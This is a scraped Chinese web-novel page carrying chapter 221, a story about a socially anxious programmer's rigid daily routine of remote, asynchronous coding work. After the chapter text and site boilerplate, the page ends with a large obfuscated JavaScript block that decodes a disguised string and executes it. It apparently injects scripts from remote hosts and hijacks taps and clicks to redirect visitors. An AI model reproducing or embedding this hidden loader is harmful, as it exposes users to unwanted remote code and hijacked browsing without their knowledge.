首页
第221章 深度社恐程序员
返回

第221章 深度社恐程序员

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第221章深度社恐程序员(第1/2页)
    林衍的生活,是一套精密运行的程序。坐标,重庆某高层公寓。时间,清晨6点30分。智能窗帘在预设时间缓缓拉开,透进山城氤氲的晨光。他并非被光线唤醒,而是在此前五分钟,腕上手表的轻微震动已将他从无梦的睡眠中带出。他睁开眼,没有赖床,没有挣扎,如同一个完成了休眠状态的系统模块,被准时唤醒。
    起床,洗漱,用随身携带的便携式水质检测笔确认过滤后的饮用水TDS值在安全范围,然后接水,放入微波炉精确加热至60度,冲泡特定配比的全营养代餐粉。早餐过程机械、高效,耗时7分钟。这期间,他的目光扫过墙上那块并不显示时间,而是滚动着今日待办事项、健康数据(睡眠时长、深度睡眠占比、静息心率)和关键系统监控状态(服务器状态、数据管道延迟)的电子墨水屏。一切指标正常,绿色。他开始进食,同时用平板电脑快速浏览几个固定技术论坛和开源项目的最新动态。信息输入,筛选,有价值的存入稍后阅读列表,无价值的划过。没有情绪波动,只有信息处理。
    7点整,他坐在了那张高度可调、符合人体工学的办公桌前。面前是三联屏。左屏显示着“星轨”项目的代码仓库、任务看板和持续集成状态。中屏是代码编辑器,右侧是文档和终端。他登录加密通讯工具(仅用于接收紧急通知,几乎从未响起),登录公司内部的任务管理平台和文档系统。没有问候,没有“早上好”的群发消息。他直接进入“星轨”开发看板,将昨天标记为“进行中-后端数据管道核心逻辑调试”的任务卡拖入“待评审”,并在下方评论:
    “任务DEV-05完成。核心数据管道逻辑已实现并通过单元测试。主要更新:
    1.实现了A、B、C三个主要数据源的适配器,支持定时与手动触发。
    2.数据清洗模块已完成,包含基础规则(非空、格式、范围)及自定义清洗函数接口。
    3.数据质量校验模块基础框架已搭建,目前包含重复检测与异常值(3σ原则)检测。
    4.已将处理后的数据成功写入InfluxDB测试实例。
    5.遇到并解决问题:数据源B的API分页逻辑存在文档未说明的偏移量限制,已通过增加延迟分批请求解决,详见代码注释。
    6.下一步计划:开始DEV-06(数据聚合与指标计算服务)。预计今日完成基础框架。
    代码已推送至dev分支,PR(合并请求)已创建,请审阅。文档已相应更新。
    阻塞项:无。”
    评论发出。他切换到代码仓库界面,查看自己创建的合并请求,确保描述清晰,代码变更可读。然后,他打开右屏的另一个工作区,开始处理一个次要但持续的任务:优化他为自己搭建的个人知识管理系统的一个检索算法。这是他保持技术敏感度和进行“思维体操”的方式。两小时,无人打扰的深度工作时间。房间内只有键盘敲击声,和偶尔杯子里代餐液被吸管吸动的轻微声响。
    上午9点30分,门禁系统发出轻柔的提示音,显示外卖已放置在门外的智能取餐柜。他起身,走到门口,通过内嵌屏幕确认外卖员已离开走廊,才打开内门,从取餐柜外格取出餐食。全程,没有与任何人发生视线接触或语言交流。午餐是预定的健身餐,碳水、蛋白质、纤维比例固定。他用十分钟吃完,同时用平板观看一部关于分布式系统最新研究的英文技术讲座,1.5倍速。
    午休?不需要。他关闭技术讲座,起身进行15分钟的家庭健身——一套标准的无器械拉伸和核心力量训练,动作精准如机械。之后,用冷水洗脸,重新坐回工作台前。
    下午的工作围绕“星轨”项目的DEV-06任务展开。他沉浸在数据聚合逻辑的设计中,处理着时间窗口、维度下钻、指标计算等复杂问题。中途,任务平台弹出通知,是贝西克对他早上PR(合并请求)的审阅意见:
    “PR已审阅。整体逻辑清晰。几点意见:
    1.数据源B的适配器中,应对API调用失败(如网络异常、鉴权失效)增加更完善的指数退避重试机制,当前仅简单重试两次。
    2.数据清洗模块的自定义函数接口,建议增加输入参数的类型检查与安全沙箱(如使用restrictedPython),防止恶意或错误函数影响主流程。
    3.数据质量校验的异常值检测,3σ方法对非正态分布数据可能不适用。建议增加箱线图法作为备选,并可配置。
    4.代码注释充分,但个别复杂函数可补充更详细的算法说明或示例输入输出。
    请根据意见更新代码,更新后可自行合并至dev分支。后续类似问题可自行判断处理,无需次次等待审阅,但需在代码注释或提交信息中说明修改原因。”
    林衍快速阅读审阅意见。每一条都切中要害,指出了他为了快速实现而暂时忽略或简化处理的潜在风险点。没有废话,没有主观褒贬,只有具体、可执行的技术建议。他喜欢这种反馈。清晰,直接,节省时间。
    他在PR下方回复:“审阅意见收到。将依次修改:1.增加指数退避重试。2.为自定义清洗函数增加类型检查与简单沙箱。3.增加箱线图法作为异常值检测备选方案。4.补充复杂函数注释。预计2小时后更新代码并合并。后续类似优化将按此标准处理。”
    他立即着手修改。优化重试逻辑,研究并集成轻量级沙箱方案,补充异常检测算法。整个过程,他心无旁骛。修改完成,补充注释,运行测试套件确保通过,然后他将代码更新推送到远程仓库,并按照贝西克的指示,自行将PR合并。在合并提交信息中,他简要说明了修改内容及对应审阅意见。整个交互过程,从反馈到修改完成,不到三小时,全部通过书面评论完成,没有一次即时通讯,更没有一个电话。
    下午4点左右,他完成了DEV-06任务的核心部分。在任务卡下更新进度:“DEV-06基础框架与核心聚合函数已完成。正在进行单元测试。预计今日可完成并创建PR。”
    (本章未完,请点击下一页继续阅读)第221章深度社恐程序员(第2/2页)
    他暂停编码,开始处理一些“事务性”工作。查看邮件,过滤掉广告和通知,处理了一封来自域名服务商的安全提醒,更新了某个订阅服务的支付信息。然后,他打开一个加密笔记应用,记录今天的工作日志、遇到的问题、及可能的优化思路。这个日志只为他个人服务,是他的第二大脑。
    傍晚6点,他结束了一天的主要工作。并非因为疲倦,而是日程如此规定。他换上运动服,戴上降噪耳机,前往公寓楼内的健身房。这个时间点,健身房通常人最少。他进行了一小时规律的力量训练,全程不与任何人有目光接触,耳机里播放的是白噪音或技术播客。训练结束,回房,淋浴,换上干净的家居服。
    晚餐是自制的沙拉和煎鸡胸肉,搭配营养素片。餐后,他有一小时的“自由探索”时间,通常用于学习新技术栈、阅读感兴趣的论文,或者优化自己的自动化脚本。今晚,他研究了一下一种新的时序数据库的索引优化技术,并评估了其是否适用于“星轨”项目的未来扩展。
    晚上9点,是固定的“复盘与规划”时间。他回顾今日任务完成情况,审视健康数据(今日静坐时间略超,明日需增加一组拉伸),规划明日重点工作(完成DEV-06测试,开始DEV-07前端数据接口开发)。他将计划同步到电子墨水屏和手机日历。
    9点30分,他开始“离线”,关闭所有工作相关通知。用半小时阅读一本与编程无关的书籍(最近在读《思考,快与慢》)。10点,进行10分钟的正念呼吸练习,清空大脑。10点10分,准时入睡。
    这就是林衍,一个深度社恐程序员的日常。他的社交需求被压缩到近乎为零。与人面对面交流,尤其是与不熟悉的人进行开放式、非结构化的交流,对他而言是巨大的精神消耗,甚至会引起生理上的不适——心率加快,思维迟滞,渴望逃离。他并非恐惧人类,而是恐惧那些无意义的寒暄、模糊的意图、需要不断揣测的潜台词、以及低效的信息交换。
    在传统职场,他经历过无数次折磨。晨会上的不知所云,需求评审会上的反复扯皮,团建活动中强迫参与的尴尬游戏,年会上的才艺表演和敬酒文化……每一次,都像是对他精神能量的无情榨取。他记得最清楚的一次,是在上一家公司,因为在一个技术方案讨论中过于坚持己见(事后证明他是对的),被项目经理委婉地提醒“要注意团队合作,多听听大家的意见”。他无法理解,为什么技术问题的对错要让位于所谓的“团队和谐”。他也曾尝试适应,强迫自己在茶水间挤出笑容,参与同事关于明星八卦的闲聊,结果只让他感到加倍疲惫和虚假。
    他选择远程工作,并非仅仅因为自由,更是因为这是一种生存策略。远程,尤其是像现在与贝西克这种完全基于异步沟通、任务导向的远程,将他从社交噩梦中彻底解放出来。他不需要关心同事的喜怒哀乐,不需要处理复杂的人际关系,不需要参加任何与工作成果无关的活动。他只需要关注任务本身,关注代码,关注逻辑,关注交付物。他的价值,通过一行行清晰的代码、一份份严谨的文档、一个个解决的具体问题来体现,而不是通过人际关系、口头表达或所谓的“主动性”。
    贝西克的那份“木头人”招聘准则,对他而言,不是严苛的约束,而是梦寐以求的自由宪章。那里面描述的“零政治、零干扰的工作环境”、“极致的自主权”、“只关心交付物”的准则,正是他理想的工作状态。而贝西克在协作中表现出的绝对理性、清晰和高效,更让他确认,自己找到了“同类”——一个或许比他更极端、更系统化,但至少在对待工作的核心态度上高度一致的同类。
    有时,当他高效地完成一个复杂模块,收到贝西克那冷静、精准、毫无废话的“通过”或修改意见时,他会感到一种奇特的、平静的满足感。那是一种被理解、被认可的感觉,不是对他“为人”的认可,而是对他专业能力、工作方式和交付成果的认可。这对他来说,比任何来自传统职场的“优秀员工”奖状或团队聚餐时的夸奖,都更有价值,更真实。
    他的生活极其规律,甚至在外人看来有些枯燥。但他乐在其中。这种规律带来了可预测性和控制感,极大地缓解了他的焦虑。他知道什么时候该做什么,知道如何与外界(主要是各种服务接口和任务系统)打交道,知道自己的边界在哪里。他的世界由代码、数据、清晰的规则和可预期的反馈构成,稳定,有序,高效。
    当然,他并非完全与世隔绝。他有固定的、极少数的线上联系人,主要是几个同样深耕技术、厌恶闲聊的网友,交流内容99%与技术相关。他也会在必要的线上社区提问或回答,但严格遵循社区规则,言简意赅。对于家人,他保持每周一次固定时间的视频通话,时长通常控制在30分钟以内,内容以汇报近况和倾听为主,避免深入的情感交流或生活细节追问。这种低频率、结构化的亲情维系,对他来说是可以承受的。
    对他而言,贝西克不仅仅是雇主,更像是一个高效、可靠、永远不会带来情绪负担的“系统接口”。他通过这个接口,获取清晰的任务指令,输出高质量的工作成果,并获得与之匹配的报酬。这种关系纯粹、清晰、令人舒适。他有时会想,贝西克本人或许是一个比他更彻底的“系统化”存在,能将人与人之间复杂的协作,简化到如此干净利落的程度。这很酷,也很高效。
    夜深了,重庆的灯火在窗外连成一片模糊的光海。林衍的公寓里,只有电子设备待机的微弱光点和均匀的呼吸声。他沉浸在没有梦境的高质量睡眠中,为明天新一轮的高效、专注、无需与人虚与委蛇的工作积蓄能量。在这个由他自己构建的、高度可控的堡垒里,他感到前所未有的自由和生产力。而“星轨”项目,就在这样日复一日的静默、专注、高效中,稳步向前推进,代码行数稳定增长,功能模块逐渐完善,像一个在真空中精密组装的航天器,悄然成型。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();